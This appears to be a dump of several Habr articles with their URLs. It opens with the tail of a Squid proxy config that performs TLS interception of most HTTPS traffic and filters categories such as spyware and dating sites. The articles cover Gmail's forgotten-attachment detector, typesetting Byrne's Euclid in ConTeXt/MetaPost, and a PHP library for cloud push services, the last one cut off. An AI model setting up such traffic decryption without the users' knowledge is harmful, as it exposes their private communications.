http_access deny localnet others http_access deny spyware http_access deny spyware_reg http_access deny porno http_access deny porno_reg http_access deny ra http_access deny proxy http_access deny other http_access deny banner http_access deny banner_reg http_access deny dating http_access deny dating_reg http_access deny redirector http_access deny redirector_reg http_access deny standart audiovideo http_access deny standart shopping http_access deny standart shopping_reg http_access deny standart socialnet http_reply_access deny denyformat application_mime http_reply_access allow allowformat application_mime http_access deny manual http_reply_access allow all http_access allow localhost http_access allow allow-all http_access allow standart http_access allow bankusers banksites http_access allow domainusers allofficesites http_access deny domainusers !allofficesites http_port 3128 ssl-bump generate-host-certificates=on dynamic_cert_mem_cache_size=100MB cert=/etc/squid/ssl/private/public.pem key=/etc/squid/ssl/private/private.pem sslcrtd_program /usr/lib/squid/ssl_crtd -s /etc/squid/ssl/ssl_db -M 100MB visible_hostname = squid3.DOMAIN.local sslcrtd_children 70 startup=5 idle=10 acl step1 at_step SslBump1 acl step2 at_step SslBump2 acl step3 at_step SslBump3 acl sslbanksites ssl::server_name "/etc/squid/exceptions/bank.txt" acl allowsplice ssl::server_name "/etc/squid/exceptions/allowsplice.txt" sslproxy_cert_error allow allowerrorsert ssl_bump splice allowsplice ssl_bump splice sslbanksites ssl_bump peek step1 all ssl_bump bump step2 all ssl_bump bump step3 all http_access deny all icp_access deny all htcp_access deny all cache deny all cache_mgr support@DOMAIN.COM dns_v4_first on negative_ttl 10 seconds hosts_file /etc/hosts error_directory /etc/squid/errors/ forwarded_for off delay_pools 3 delay_class 1 1 delay_access 1 allow allow-speed delay_access 1 allow allofficesites delay_access 1 allow allowspeeddomain delay_parameters 1 -1/-1 delay_access 1 deny all delay_class 2 2 delay_access 2 allow !allow-speed delay_access 2 allow !allowspeeddomain delay_access 2 allow !workhours delay_parameters 2 -1/-1 625000/625000 delay_access 2 deny all delay_class 3 2 delay_access 3 allow disable-speed delay_parameters 3 -1/-1 320000/10485760 delay_access 3 deny all deny_info ERR_ACCESS_DENIED_BANNERS banner banner_reg deny_info ERR_ACCESS_DENIED_DATING dating dating_reg deny_info ERR_ACCESS_DENIED_REDIRECTOR redirector redirector_reg deny_info ERR_ACCESS_DENIED_PORNO porno porno_reg deny_info ERR_ACCESS_DENIED_SOCIALNET socialnet socialnet_reg deny_info ERR_ACCESS_DENIED_SPYWARE spyware spyware_reg deny_info ERR_ACCESS_DENIED_MANUAL manual manual_reg deny_info ERR_ACCESS_DENIED_AUDIOVIDEO audiovideo deny_info ERR_ACCESS_DENIED_BLOKEXTENTION blockextention deny_info ERR_ACCESS_DENIED_BLOKEXTENTION2 blockextention2 logformat squid %ts.%03tu %6tr %>A %Ss/%03>Hs % ```
https://habr.com/ru/post/347212/
null
ru
null
# Forgotten attachment detector — не фича, а важный функционал Сегодня, после нажатия на кнопку Send, Gmail показал мне сообщение: ![image](https://habrastorage.org/r/w1560/getpro/geektimes/post_images/8f4/059/7d4/8f40597d41f359b45acafe005bd57044.png) А я, действительно, забыл прикрепить файл :) Я был очень приятно удивлён, а погуглив понял, что это далеко не новая фича, я просто её не заметил, когда она была ещё в Labs. Но на Хабре о ней практически ни слова. Первое упоминание о ней в официальном блоге Gmail (15.09.08) — [New in Labs: Forgotten attachment detector](http://gmailblog.blogspot.com/2008/09/new-in-labs-handy-intern-tweaks.html) Фича покидает Labs и становится частью обычного интерфейса (24.02.10) — [Gmail Labs graduation and retirement](http://gmailblog.blogspot.com/2010/02/gmail-labs-graduation-and-retirement.html) (об этой новости было [упоминание на Хабре](http://habrahabr.ru/blogs/google/85546/)) Последнее упоминание (16.05.10) — [Tip: 5 things you may not know you can do with attachments in Gmail](http://gmailblog.blogspot.com/2010/06/tip-5-things-you-may-not-know-you-can.html) Реагирует на фразы типа: `attached file see attachment attached to this message I'm attaching I've attached` Проверял в английском интерфейсе. Но вот попробовал делать упоминания со словами «вложение» или «прикреплённый файл» — не реагирует :( Подскажите, кто пользуется другими почтовыми службами, работает ли такое у Яндекса, и других? Для русского, украинского текста? Мне кажется, что это не просто мелкая фича, а необходимый функционал для почтовой службы.
https://habr.com/ru/post/104613/
null
ru
null
# Fancy Euclid's “Elements” in TeX ![](https://habrastorage.org/r/w780q1/webt/b9/xj/sq/b9xjsqwlk_6vlrkagvbpb2yfej0.jpeg) In 2016, I came across Oliver Byrne's [“The first six books of the Elements of Euclid.”](https://archive.org/details/firstsixbooksofe00byrn/) The main feature of this book is that instead of ordinary letter designations such as “triangle ABC,” it employs inclusions of miniature pictures directly in the text, that is, for example, an image of a triangle. As difficult as it probably was in the XIX century, as easy, with the right tools, it should be to make such a book nowadays. And so I decided to find out by myself whether that's the case. ![](https://habrastorage.org/r/w780q1/webt/bt/d1/vz/btd1vz7zw34dp1uyd8met_b87q0.jpeg) The most obvious option—to draw all the illustrations in Illustrator and compose the whole thing in InDesign—was promptly rejected. Geometrical constructions are not exactly the easiest thing to do in Illustrator, and no obvious way to automatically connect the main image to miniatures came to my mind. As for InDesign, although it's very good at dealing with such visually rich layouts, it promised to scare the hell out of me by the overcrowded “Links” panel. So, without thinking twice, I decided to use other tools that I was familiar with—MetaPost, which made it relatively easy to deal with geometry, and LaTeX, which I knew could do the job. Due to some problems with MetaPost libs for LaTeX, I replaced the latter with ConTeXt that enjoys an out-of-the-box merry relationship with MetaPost. ### How does it work in general The “Elements” have 13 parts, called “books,” of which Byrne only made the first six. A book mostly consists of “propositions”—theorems and problems. Every proposition has a diagram (usually one) and some text, in which the diagram is referenced. For constructions, I made a ConTeXt macro that creates a new MetaPost instance. And in MetaPost, a bunch of functions to create these constructions. Their use looks somewhat like this: ``` \defineNewPicture{ % Inside this thing you put the construction pair A, B, C, D; % MetaPost has a special type of variables for coordinates numeric d; d := 2u; A := (0, 0); % B := A shifted (d, 0); % Point coordinates are set here C := A shifted (0, -d); % D := A shifted (d, -d); % byAngleDefine(B, A, C, byblack, 0); % These define angles: byAngleDefine(D, B, A, byblue, 0); % first—angle points, byAngleDefine(C, D, B, byred, 0); % then color, byAngleDefine(A, C, D, byyellow, 0); % then style. draw byNamedAngleResized(); % This thing draws all the angles. byLineDefine(A, B, byred, 0, 0); % These define line segments: byLineDefine(B, D, byyellow, 0, 0); % first—ends, byLineDefine(D, C, byblack, 0, 0); % then color and style, byLineDefine(C, A, byblue, 0, 0); % then thickness. draw byNamedLineSeq(0)(AB,BD,DC,CA); % This thing draws a sequence of lines. } \drawCurrentPicture % And this thing draws the whole picture. ``` ![](https://habrastorage.org/r/w1560/webt/ju/ub/u7/juubu7bnipox8simoy8i971stus.png) For proposition texts, I made a series of macros that draw pictures in the same MetaPost instance. In general, they execute arbitrary MetaPost code, but most of the time, they take object names as arguments. Like this: ``` % Names are automatically assigned to line segments but can be assigned manually. Draw $\drawUnitLine{CA} \perp \mbox{ and } = \drawUnitLine{DC}$.\\ Draw $\drawUnitLine{AB} \parallel \drawUnitLine{DC}$,\\ and meeting \drawUnitLine{BD} drawn $\parallel \drawUnitLine{CA}$. ``` ![](https://habrastorage.org/r/w1560/webt/ez/fg/uv/ezfguvegpy6qw7rliclzmhhgh1q.png) This is how these parts work together: ![](https://habrastorage.org/r/w1560/webt/hl/6p/uf/hl6pufc9f-0syxk8q3amrur1xze.png) ### Some features Pictures in the book are not overly complicated, but some parts required special attention. If line segments touch each other with their ends, the touching point needs a nice representation. For now, the connection of only two lines is supported. Other lines can simply be put under such a joint. Although the original book employs at least two types of joints, in my opinion, just one is enough. ![](https://habrastorage.org/r/w1560/webt/27/iv/6k/27iv6kwqw5bj369z5cmzzv3cm0i.png) Angles are depicted as circular sectors. If an angle is small enough, the sector with the same radius may look tiny so it makes sense to enlarge it. Currently, the radius stays the same for angles above 60 degrees, and for smaller angles, this formula is used: ![$r/\sqrt{a/60}$](https://habrastorage.org/getpro/habr/formulas/cae/99b/4d1/cae99b4d146d1158f3eccd2c13f5e8dd.svg). ![](https://habrastorage.org/webt/xn/vq/0a/xnvq0awkzqfidnukagrvxmozusu.gif) To look nice, dashed lines should begin and end with full dashes. To achieve this, the dash pattern is scaled a bit to fit a line length nicely (Illustrator has a similar feature, but its dashed lines begin and end with half-dashes instead of full dashes.) ![](https://habrastorage.org/webt/82/kc/hm/82kchmpkrh6zbsku_jt21yf_qz8.gif) There are various ways to depict line segments in text: you can make them all the same length, keeping only their colors, or you can somehow show their length as well. Byrne does both. I have the following formula for this: ![$L'=L^{a}l^{1-a}$](https://habrastorage.org/getpro/habr/formulas/3eb/f9d/67b/3ebf9d67b2565964479183ccb4f6a863.svg), where ![$L'$](https://habrastorage.org/getpro/habr/formulas/c93/085/747/c9308574760a8a9177146138b5610d9c.svg) is a line length in text, ![$L$](https://habrastorage.org/getpro/habr/formulas/a5a/4e0/afa/a5a4e0afaec84939dbfda220172b2be0.svg) is original line length, ![$l$](https://habrastorage.org/getpro/habr/formulas/30f/b68/14e/30fb6814eea0091044df0e5de33dfbc2.svg) is a desired line length and ![$a$](https://habrastorage.org/getpro/habr/formulas/372/e18/546/372e18546a3b7abb94c2672708bc5dfe.svg) is some number between 0 and 1. If ![$a=0$](https://habrastorage.org/getpro/habr/formulas/013/738/513/01373851384108fcef30b04dae7f96f3.svg), then ![$L' = l$](https://habrastorage.org/getpro/habr/formulas/9c2/cc0/588/9c2cc05882ab3631aa26556fc5693b7f.svg), that is, any line segment will have length ![$l$](https://habrastorage.org/getpro/habr/formulas/30f/b68/14e/30fb6814eea0091044df0e5de33dfbc2.svg). If ![$a=1$](https://habrastorage.org/getpro/habr/formulas/4f0/0d4/d82/4f00d4d8255955ce3a3052a4eee5899c.svg), then ![$L' = L$](https://habrastorage.org/getpro/habr/formulas/aab/517/393/aab51739374a54e898540b8c0255c4c5.svg). If ![$0<a<1$](https://habrastorage.org/getpro/habr/formulas/2e8/3d4/84a/2e83d484a96446ab4fa2a66f02b98c90.svg), then with ![$L<l$](https://habrastorage.org/getpro/habr/formulas/ede/803/a2c/ede803a2c277b90d830abe72b3802a34.svg), ![$L'>L$](https://habrastorage.org/getpro/habr/formulas/4af/69c/748/4af69c748ab3742db1b584b6bd6dc48e.svg) and with ![$L>l$](https://habrastorage.org/getpro/habr/formulas/0b5/82c/82a/0b582c82aa22fee6681ff9cc4f772e20.svg), ![$L'<L$](https://habrastorage.org/getpro/habr/formulas/84b/185/f95/84b185f95448495c4a000cf5686adfa0.svg), that is, shorter segments become longer, and longer ones become shorter. You may want this if you want to retain relative line lengths while avoiding 2 mm lines next to 2 cm ones. (To be honest, everything is a bit more complicated, but the general idea is the same.) ![](https://habrastorage.org/r/w1560/webt/bs/dc/ez/bsdcez--c23k6zz-5espheo1gpq.png) Although Byrne decided not to use letter designations at all, Edward Tufte in [one of his books](https://www.edwardtufte.com/tufte/books_ei), while praising Byrne's work, suggested that small labels would actually help. And since many things are automated anyway, adding small letters wasn't too big of a deal. By default, the point names are those of variables holding their coordinates. Labels can be placed on the vertices of polygons, on the ends of line segments &c. Of course, labels can be turned on and off (unfortunately, affecting the layout). ![](https://habrastorage.org/webt/-j/2w/mp/-j2wmpcb17q8sbaujwd5leqyaf8.gif) Most of the code, however, is devoted to things less visible to a reader and much more to an author/editor. These include correct recognition of line segment and angle synonyms, automatic letter placement around polygon groups, and other stuff like that. There are also initials and vignettes in the original edition. On one hand, they were reasonably easy to recreate (at least, it wouldn't take a lot of thought to do this), but I decided to go with a more interesting (albeit hopeless) option—automatically generating the initials and vignettes with a random ornament. Not only is it fun, but also, the Russian translation would require adapting the style of the original initials to the Cyrillic script, which was not something I'd prefer to do. So, long story short, when you compile the book, a list of initial letters is written to the disk, and a separate MetaPost script can process it (very slowly) to produce the initials and vignettes. No two of them have the exact same ornament. ![](https://habrastorage.org/r/w780q1/webt/lk/if/en/lkifenehn0rvy0myliwn0zxf5nc.jpeg) The idea is pretty straightforward: place curls on parts of a letter and on the frame, as large as they can grow. This is done several times. All the curves are included in the subsequent iterations. After that, some “leafs” are grown in the same manner. The form and the properties of different sprouts are adjustable. ![](https://habrastorage.org/webt/lu/gy/6o/lugy6ofh977hz8yibvqht-xuec0.gif) I can't say I'm happy with the results, but slowly I'm improving the algorithm and hoping for the best (in any case, you can replace the generated initials with pictures of your choice). As a bonus, the script can also produce random tiles. ![](https://habrastorage.org/r/w780q1/webt/5a/ee/1j/5aee1jei7ok-d82p8by0ytr6sbw.jpeg) ### Translation To find more typos and mistakes, and just for the sake of it, I decided to translate the book into Russian. At first, I used the well-known Murduhai-Boltovskoi's translation as a reference but soon found that Byrne changed too much in Euclid's theorems for a reference translation to be very useful. To be honest, I didn't work too hard on the translation, especially that of the Introduction, and only recently have found some time to smooth it out. Putting aside the really unpleasant fifth book (which happens to be designed [separately](https://archive.org/details/doctrineproport01byrngoog/page/n32) several years before the other five), it wasn't terribly difficult. The process of translation did help with catching bugs, both mine and Byrne's. For instance, [the diagram for proposition 9](https://archive.org/details/firstsixbooksofe00byrn/page/227) in the sixth book doesn't match the text, making the proof incorrect, so I had to change it. One amusing thing I stumbled upon during the translation: in the Introduction, where the author brags about the benefits of his method, he [quoted](https://archive.org/details/firstsixbooksofe00byrn/page/n11) Horace's words regarding the superiority of vision over other senses. A few pages later he decided (I assume, to be even more convincing) to quote a “modern poet's” verse with similar meaning. This verse turned out to be [another](https://archive.org/stream/improvementofmin00wattuoft#page/198/mode/2up) translation of the same Horace's verse. Luckily, for the Russian translation, my wife found a fitting [verse](https://archive.org/stream/pleasuresofimagi00aken#page/50/mode/2up) by an English author. Naturally, in the English version, I didn't change the thing. ![](https://habrastorage.org/r/w780q1/webt/bk/9p/ku/bk9pku5d9p4dp__o2qs2fepjmdi.jpeg) Another feature the Russian translation has is that letter designations are turned on by default. Someone, however, [asked](https://github.com/jemmybutton/byrne-euclid/issues/44) to make an English version with letters turned on too, and I'm considering making it the default option since a “letterless” version (and more than one, actually) exists anyway. One guy from Poland started to make [a Polish translation](https://twitter.com/mciura/status/937365111626452992) of the book and made many extremely valuable contributions on the way (scaling angles, for instance, was [his idea](https://github.com/jemmybutton/byrne-euclid/issues/7)). I hope his translation will go smoothly. He also helped me with the English version of this article quite a bit. ### Interim results Having played with this book for a while I can tell the following. Inline pictures are indeed easy to read. Now I use this technique in other situations, too. Considering that I only worked on this project in the evenings after a full-time job and on the weekends, it didn't take too much time: about six months for the first English version and about three for the Russian translation, with all the planning and coding. Although I catch bugs and fix typos to this day. Since the day I published the first version [a campaign on kickstarter](https://www.kickstarter.com/projects/1174653512/euclids-elements-completing-oliver-byrnes-work/updates) intended to “complete Byrne's work” (i. e., as the authors understand it, to make all the thirteen Euclid's books in Byrne's style) has started and finished. They seem to use InDesign for layout. What they use to draw diagrams, I couldn't find out. Hopefully, they will succeed in making this book as good as their other works. And much more recently a U.S. designer made a very neat [online version](https://www.c82.net/euclid/). He used Illustrator to draw diagrams. ### Plans Byrne's book doesn't contain any solid geometry (save an image of a parallelepiped in the Introduction). Neither did I make any tools for it, but at some point, I decided to add some, so I started to [“byrnify”](https://github.com/jemmybutton/byrne-euclid/issues/40) books 11–13 to have something to use the new tools on. For now, only a bit more than half of the 11th book is roughly made, along with some functions to make solid constructions and project them onto the screen plane. Solid constructions, though, on the average are substantially more complex than plane ones, and I'm not yet sure if Byrne's approach would fit them well and if MetaPost is a reasonably convenient tool for the job. ![](https://habrastorage.org/webt/qi/td/cs/qitdcs3zeb0nja5ifual2bc3xg4.gif) Pictures in text ofttimes need some kerning. Similarly, yet trickier, taller pictures on adjacent lines spread the lines very wide, which is appropriate only if these pictures collide. I don't yet know how and if I can make an automated solution for these issues, but I definitely want to because fixing them by hand is really tedious. ![](https://habrastorage.org/r/w780q1/webt/mf/wz/ph/mfwzphlyl3wubidktj_qflccg_e.jpeg) MetaPost can also be used from within LaTeX and as a standalone program. In the future, I plan to make LaTeX macros similar to ConTeXt ones, to allow using them in a more common environment. In theory, MetaPost can be used with InDesign as well. It's possible to produce pictures with MetaPost and link them in an InDesign file now, but this process begs to be automated with some InDesign scripts. It does look pretty perverse, but I caught myself thinking about this more than once, so I find it worth considering. Last but not least, I want to apply the tools to something more modern and practical than “the Elements.” All the stuff can by found [here](https://github.com/jemmybutton/byrne-euclid/), pdf-s are in the “releases” section.
https://habr.com/ru/post/452520/
null
en
null
# Единый API на РНР для всех облачных push-сервисов Приветствую всех читателей. Сейчас в веб-разработках столько трендов, что не уследишь. Но вопрос о реал-тайм взаимодействии с пользователями сайта стоит остро прочти для любого проекта. Простейший способ — поставить один из широко доступных открытых comet-серверов, например, Dklab\_Realplexor, Socket.IO или Faye — что кому по душе или в зависимости от стека технологий. Правда это путь достаточно сложных проектов, где команда может себе позволить такое решение. Для многих проектов попроще (хотя это всегда вопрос конкретики приложения) логично будет использовать сторонние решения. А проще — арендовать как услугу функционал comet-сервера. Сегодня недостатка в таких сервисах нет, так что нам есть что обозревать. И так, сначала давайте кратко ознакомимся с существующими push-сервисами, которые позволят нам без создания и поддержки своей серверной инфраструктуры поддерживать реал-тайм общение между клиентами проекта. Таких сервисов всего 6: **Pusher**, **Pubnub**, **Partcl**, **BeaconPush**, **X-Stream.ly** и **ioBridge** (с некоторыми особенностями). Под катом — кратки обзор всех сервисов, особенностей РНР-библиотек для них и описание библиотеки pushBridge.IO для унификации работы со всеми облачными пуш-сервисами. **[Pusher.com](http://pusher.com/)** ![](https://habrastorage.org/r/w1560/storage2/aef/b21/624/aefb21624cafee2161ecd80d42f50293.png) Самый известный из подобных сервисов. Одновременно с этим и один из самых сложных из-за обилия возможностей. В общих чертах, коммуникация поделена на каналы, внутри которых есть пользовательские события, на которые подписывается клиентский код (javascript). Кроме этого есть ряд системных событий, а также система статусов и оповещений и подключениях/отключениях других пользователей канала. Возможна и работа с приватными каналами, так, что даже подключенный пользователь, но не знающий кодового идентификатора, не будет получать события. Для взаимодействия с другими системами, Pusher использует REST-HTTP-API (впрочем, как и все подобные сервисы), и предоставляет ряд готовых библиотек для 11 языков, включая Clojure, Groovy и ColdFusion. Меня интересовал только РНР API, который представлен 4-мя плагинами — для Kohana, Code Igniter и бандл для Simfony 2 фреймворков, а также одним независимым классом (<http://github.com/squeeks/Pusher-PHP>). Для работы он требует расширения cURL и json, а также sha256 в качестве алгоритма хеширования. В качестве примечания скажу, что именно с этого сервиса возникла идея моей библиотеки. Буду честен — для одного проекта мне понадобился реалтайм, а в тестовой версии писать свой сервер не хотелось, поэтому за пару минут я думал подключить пушер, тем более, аккаунт у меня уже был. оказалось, что при всех достоинствах и обилии документации, система не такая простая, и не все моменты там удачно расписаны. очень помог режим дебага, когда на сайте в разделе консоли выводятся в реальном времени все ваши запросы, отправляемые через API. Но где-то я ступил и хотя запросы посылались, до клиента они не доходили. На этом месте, после часа отладки я забросил это дело. Перспектива снова переписывать код мне совсем не нравилась, к тому же, в финальной версии моего проекта все равно пришлось бы переходить на собственный сервер. Так и возникла идея — а зачем каждый раз все переписывать, если можно попробовать свести все в один унифицированный интерфейс. Забегая вперед, скажу, что идея успешно нашла свою реализацию! **[PubNub.com](http://pubnub.com/)** ![](https://habrastorage.org/r/w1560/storage2/e6e/3e3/1c4/e6e3e31c4305c9323d0b1583dc6c02d4.png) Этот сервис проще и, в этом, я вижу его преимущество. API предельно прост — есть каналы, в них сообщения и все. Формат данных, конечно, везде JSON. Как в клиентской части, так и на серверной стороне, Pubnub имеет самое широкое покрытие, предоставляя доступ к сервису на любой платформе и языке программирования. Простота и мощная поддержка всех платформ делает этот сервис самым интересным из рассматриваемых, особенно, если вам надо обеспечить реалтайм везде и всюду. PHP библиотека для доступа к сервису достаточно простая, позволяет как отправлять, так и получать сообщения, базируясь на cURL. Работает как на 5.2, так и на 5.3 версии РНР, позволяю использовать плюшки вроде callback функций. После исследования исходного кода остался большой вопрос — почему-то при отправке, после преобразования в JSON, длина сообщения не должна превышать 1800 символов! С чем связанно это ограничение пока не ясно, буду связываться с разработчиками и выяснять. **[Partcl.com](http://partcl.com/)** ![](https://habrastorage.org/r/w1560/storage2/483/af0/403/483af0403332ff17ab1779ceba2f9337.png) Достаточно новый сервис на этом рынке, первоначально ориентирован на встраивание обновляемых в реальном времени тегов на веб-странице. В настоящее время API там достаточно расширен и позволяет получать историю изменения значений, строить графики, также работающие в реальном времени и т.п. В отличие от остальных сервисов, позиционируемых лишь как коммуникационные, Partcl работает и как контент-провайдер, сохраняя все сообщения и данные, что достаточно уникальная функция. Раскрывая некоторые подробности, скажу, что серверная часть написана на Node.JS+Redis (именно реал-тайм “раздавалка” — я ее непосредственный разработчик), а веб-часть на Zend Framework. Хотя для системы уже был написан API на РНР, и даже плагин для интеграции в Wordpress, он, по моим меркам, был достаточно примитивный и вполне мог не работать на некоторых хостингах. Так что я попытался еще и написано новую реализацию библиотеки для partcl-а. Получилось даже лучше, чем оригинальная. [**BeaconPush.com**](http://beaconpush.com/) ![](https://habrastorage.org/r/w1560/storage2/339/17f/27e/33917f27e5a6b03a5b8e67ef1e1df19c.png) Малоизвестный сервис, однако единственный, который предлагает выделенный сервер для требовательных клиентов (система, кстати, написана на Java). А так, он обычный, правда кроме каналов и сообщений выводит наверх еще и абстракцию пользователя, упрощая коммуникацию именно между конкретными подключенными клиентами. Кроме этого, интересный функционал веб-хуков, когда сервис сам дергает указанный вами URL, сигнализируя про вход/выход пользователей из канала. Также есть возможность управлять возможностями публикаций — если не включить ее, любой, зная публичный ид, сможет публиковать данные, иначе только имея секретный ключ. А вот с РНР API у этого сервиса никак не сложилось. Он, конечно, есть (<https://github.com/ImDom/BeaconPush-PHP> и даже модуль для Code Igniter-а), но качество… очень далекое от хорошего. Кстати, автор модуля зашил в исходник свой аккаунт. Честно попытавшись использовать готовый модуль, но так и не смог его настроить на правильную работу (тупо отказывался принимать мой ид аккаунта), я полностью переписал его API под Zend\_Http. [**X-Stream.ly**](http://x-stream.ly/) ![](https://habrastorage.org/r/w1560/storage2/305/70e/748/30570e748396f9b33ae7196ad0fead8d.png) Еще один почти неизвестный сервис, однако обладающий рядом интересных фишек. Например, можно создавать специально ключи для регламентирования доступа конкретных юзеров к API (видимо из-за бизнес модель). Также, он единственный, кроме Partcl-а, обладает функционалом постоянного хранения сообщений. Другие возможности более-менее стандартные — каналы, события, приватные каналы с доступом по паролю, статусы пользователей. Уникальной фичей является твиттер-фид, когда сервис сам будет подключаться к указанному Twitter-аккаунту и транслировать новые сообщения всем подключенным пользователям. На событие появления сообщения в канала можно поставить калбеки, которыми также можно управлять через REST-API. Кстати, этот сервис единственный, кто для публикации (и вообще, доступа) к своему HTTP API, кроме ид и секретного ключа, требует и HTTP-авторизацию, используя логин и пароль вашего аккаунта, а также работу только через SSL-соединение, что вносит дополнительные требования к хостингу. Родной серверный API у сервиса более чем скудный — C#, Ruby и Node.JS. Пришлось с нуля реализовать часть их API, так что здесь я первый, кто написал библиотеку. [**ioBridge.com**](http://www.iobridge.com/) ![](https://habrastorage.org/r/w1560/storage2/eb5/425/0cb/eb54250cb1595c4460dad2db26ebc0bf.png) Самый интересный и странный сервис, не совсем даже push. Он ориентирован на подключение к вебу всяких железок (контроллеров и плат), а также обеспечивает отображение данных, сбор и хранение, ну и управление через веб. Родного клиента на РНР также нет, в официальном форуме есть несколько предложений и набросков кода, однако они далеки от качественной реализации. Да и я понял почему, начав сам его делать — сервис местами очень уж странный, например, чтобы получить actionId виджета и ид сессии, надо сделать запрос к их серверу, который сразу возвращает кусок HTML+JavaScript, из которого тупым парсингом строк приходиться выуживать данные, которые потом нужны для подключения и отправки команд. К сожалению, дальше базового кода я не смог продвинуться, видимо, для полноценного тестирования надо и само устройство какое-нибудь подключить. Так что этот код не протестирован в реальных условиях, если кто имеет опыт работы с сервисом, буду благодарен за подсказки и посильную помощь. #### А теперь о самом главном — pushBridge.IO PHP Library Моя библиотека для РНР призвана заменить все родные библиотеки для доступа к каждому из этих сервисов, обеспечивает единый и общий интерфейс к базовому функционалу, сохраняя при этом возможность работать напрямую с оригинальной библиотекой (для тех случаев, когда она есть). Для некоторых сервисов это первая или, не постыжусь, лучшая библиотека (по крайней мере на РНР). Пока реализован только базовый функционал — соединение и авторизация, где это требуется, и отправка сообщения в указанный канал или генерацию пользовательского события. Все остальные специфические функции можно получить напрямую от экземпляра класса соединения. В следующей версии это также будет переписано, чтобы не зависеть от чужих библиотек и обеспечить единый интерфейс для всех операций (получение количества подключенных юзеров, история сообщений, чтение сообщений и т.п.). Библиотека разделена на две части — базовый класс отвечает за инициализацию нужного адаптера, обрабатывает сообщение, при необходимости, сериализирует его. Для этого я использовал класс Zend\_Serializer, таким образом, поддерживаются все его форматы — от обычного Json до экзотического Wddx. За работу с конкретным сервисов отвечает класс адаптера, который, при необходимости, подключает родную библиотеку. Пока родные классы используются только для Pusher-а и PubNub-а, ввиду того, что сервисы предоставляют свои специфические функции, которые пока не перенесены. Зато после инициализации вы всегда можете продолжить работать напрямую, просто вызвав метод getConnection(). Я так же попытался как-то унифицировать данные для авторизации. Одни сервисы используют app\_id и секретный ключ, другие именуют их publish и subscribe/public ключами и т.п. Потому я попытался свести их к минимальному множеству и сохранить одно наименование для всех сервисов: * **appId** — обычно это ид приложения или API-key, уникальный идентификатор аккаунта или приложения * **authKey** — секретный ключ, дающий право на публикацию данных * **secretKey** — пароль или другой секретный ключ для доступа к аккаунту * **readKey** — публичный ключ для подключения в качестве клиента и чтения данных * **emailKey** — логин пользователя в виде e-mail (пока это исключительно для x-Stream.ly) Для работы с библиотекой достаточно трех строк: ##### 1. Инициализация и подключение. `$push = new pushBridge_IO( [ Adapter ], [serializer] );` Первым параметром идет экземпляр адаптера для нужного вам сервиса, например: `new pushBridge_Adapter_Pusher(Array('appId' => 'Your app Id', 'authKey' => 'Your key', 'secretKey' => 'Your secret key', 'debug' => true));` Обычно, достаточно только данных для авторизации, набор которых специфичен для сервиса. Но библиотека, в отличие от родных классов, позволяет гибко управлять методами подключения, используя сетевой стек от Zend\_Http. Для запросов можно использовать cURL, напрямую сокеты или адаптер для работы через прокси. По умолчанию используется cURL, но если вам надо, передайте в качестве параметра httpAdapter название нужно адаптера, а в httpAdapterConfig — любые его настройки согласно документации по ZF ([например, вот здесь](http://framework.zend.com/manual/en/zend.http.client.adapters.html)). Каюсь, в этом моменте есть еще баг в текущей реализации библиотеки, пока опции, заданные пользователем для адаптера, не используются, это будет исправлено в следующей версии (на днях). Так как разные сервисы требуют (или наоборот) разные методы, можно задать в параметре method каким образом адаптер будет подключаться к серверу. Обычно это GET, но иногда сервисы понимают только POST. Адаптер это учитывает, но вы можете переопределить этот параметр. Библиотека вставляет свой кастомный хедер в запрос, X-Powered-By, идентифицируя себя, при желании это можно отключить для экономии сетевого трафика или просто из принципа. Второй параметр — сериализатор, который будет обрабатывать сообщение. Все сервисы принимают или JSON, или (некоторые, например, Partcl) просто строку, без преобразования. Изначально там json, используя класс Zend\_Serializer, однако вы можете переопределить на любой другой. Достаточно передать в качестве второго параметра или строку с названием сериализатора (сейчас поддерживаем: json, php и pickle) или сразу экземпляр класса Zend\_Serializer с необходимыми вам опциями. Примеры: Partcl: `$push = new pushBridge_IO( new pushBridge_Adapter_Partcl(Array('secretKey' => 'Your secret key')) );` Pusher: `$push = new pushBridge_IO( new pushBridge_Adapter_Pusher(Array('appId' => 'Your app Id', 'authKey' => 'Your key', 'secretKey' => 'Your secret key', 'debug' => true)) );` Pubnub: `$push = new pushBridge_IO( new pushBridge_Adapter_Pubnub(Array('readKey' => 'Your subscribe key', 'authKey' => 'Your publish key', 'secretKey' => ' Your secret key')) );` BeaconPush: `$push = new pushBridge_IO( new pushBridge_Adapter_Beaconpush(Array('authKey' => 'Your API Key', 'secretKey' => 'Your secret key')) );` А во пример с кастомным сериализатором: `$push = new pushBridge_IO( new pushBridge_Adapter_Partcl(Array('secretKey' => ' Your secret key')), ‘php’ );` или `$push = new pushBridge_IO( new pushBridge_Adapter_Partcl(Array('secretKey' => 'Your secret key')), Zend_Serializer::factory('Wddx', Array(‘comment’ => ‘Powered by ZF+pushBridge.IO’) );` ##### 2. Просто отправляем сообщение. На самом деле все не так и просто. Сервисы очень по разному работают с сообщениями. Самое простое — это модель канал->сообщение (или тег -> сообщение), другие же вносят новый уровень — канал -> событие -> сообщение. При этом только partcl очень толерантно относиться к содержимому сообщения, для него это просто строка, а ее понимание перекладываться полностью на клиента. Другие требуют специального оборачивания сообщений в json-структуры. Ни один из сервисов не поддерживает массовую отправку сообщений, когда в одном запросе можно было бы публиковать данные в разные каналы или несколько разных сообщений и событий в один канал. Этот момент мы уже учли и в следующей версии нашего сервиса Partcl.com такая возможность будет, параллельно в библиотеке появиться и эмуляция этого функционала для всех остальных (справедливости ради стоит сказать, что такой функционал реализован в классе для BeaconPush, но не портирован в мою библиотеку). Общий метод отправки имеет такой вид: `$push->send( 'сообщение', 'channel', 'config' );` В метод адаптера попадает уже преобразованная строка, так что он гарантированно получает данные и они нечто большее, чем пустая строка. Однако, если сервис этого требует, адаптер сформирует поверх данных сообщения необходимую Json-структуру. Если в сервисе используются каналы, то второй параметр это строка (или массив) каналов, куда следует отправить сообщение. если каналов нет, это ид тега или другой ид. При необходимости задать код события следует использовать конфиг — третий параметр всегда массив. Событие задается в параметре event. Дополнительно можно отключить сериализацию, передав параметр serialize = false. Если сервис принимает, можно указать и дополнительные параметры сообщения, например флаг сохранения данных для X-Stream.ly или включить/отключить дебаг-режим для сообщения в Pusher-е. Пример отправки простого сообщения: Partcl: `$push->send('Hello world from pushBridge.IO', 'Your tag id', Array('serialize' => false));` Pusher: `$push->send('Hello world from pushBridge.IO', 'test_channel', Array('serialize' => false, 'event' => 'push_test', ‘debug’ => true));` Pubnub: `$push->send('Hello world from pushBridge.IO', 'my_channel');` x-Stream.ly: `$push->send('Hello world from pushBridge.IO', 'mychannel', Array('event' => 'my_event', ‘persisted’ => true));` Конечно, по дефолту, максимум 